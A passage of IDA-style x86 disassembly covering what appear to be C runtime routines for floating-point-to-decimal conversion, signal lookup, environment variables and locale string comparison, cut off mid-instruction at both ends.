3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx call near ptr 25F0000h nop test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx call near ptr 25F0629h nop test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25F0629h nop jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28B0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2830000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short 